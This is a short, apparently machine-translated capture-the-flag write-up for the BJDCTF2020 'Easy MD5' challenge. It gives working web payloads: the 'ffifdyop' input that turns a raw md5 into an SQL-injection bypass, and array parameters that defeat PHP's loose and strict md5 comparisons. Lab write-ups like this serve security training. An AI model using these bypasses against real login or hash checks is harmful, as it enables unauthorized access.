[BJDCTF2020]Easy MD5

Enter the environment

Check the source code hint

Pop down the directory and find nothing

Packet capturing found that the response header has hint

 password Corresponding to the previous input box parameters

You can bypass md5 Function to make it constant truth

namely password='xxx'or Just numbers

Input ffifdyop Bypass

  Source code tips

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

Here we use arrays to bypass ?a[]=1&&b[]=2

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

  It's almost replaced here post The ginseng

param1[]=1&param2[]=2